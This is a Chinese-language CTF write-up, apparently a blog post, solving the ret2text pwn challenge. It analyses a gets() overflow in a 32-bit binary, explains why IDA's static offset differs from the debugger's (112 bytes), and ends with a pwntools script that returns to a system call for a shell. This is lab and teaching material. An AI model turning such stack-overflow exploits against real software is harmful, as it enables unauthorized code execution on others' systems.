一入pwn门深似海,从此web是路人。
在ctf wiki上学习时看到一道pwn题,链接在这儿:ret2text
file一下(32位程序):
checksec一下(开启了堆栈不可执行):
启动IDA:
gets()函数:读取到换行符结束读取。
所以这里是漏洞点
secure函数调用了system函数,
控制程序返回到0x0804863a处就能获取系统shell。
那么溢出多少数据才能正好覆盖ret address呢?
s存放的是我们输入的数据,在这里溢出,要算出他有多大。
char s; // [esp+1ch] [ebp-64h]
s变量在内存中的位置距离栈顶+1ch个字节,距离栈底-64h个字节。理所当然的认为,s的buffer距离ebp为0x64个字节(100),所以需要0x64h+4=104个字节就能溢出到ret address。
他算出来的返回地址偏移是0x6c+4=112个字节。
用cyclic工具量了一下,也是112个字节
照着他的方法做了一遍,在call _gets处下断点,运行
ESP:0xffffd3f0 EBP:0xffffd478
s相对于esp的索引为【esp+1ch】 所以s相对于esp的位置为0xffffd3f0+0x1ch=0xffffd40c
s相对于ebp的索引为【ebp-64h】 所以s的起始位置于ebp之间的大小是0xffffd478-0xffffd40c=0x6c
0x6c......呃
破案了:EBP存储着当前栈帧的栈底的地址,通常作为基址,通过ebp和偏移相加减来获取变量地址。而esp始终指向栈顶,随栈内数据增加或减少而变化。而IDA是静态调试,计算出来的偏移跟动态调试是有区别的。
···
from pwn import *
p = process("./ret2text")
payload= 'a'*0x6c+'aaaa'+p32(0x0804863A)
p.sendline(payload)
p.interactive()
···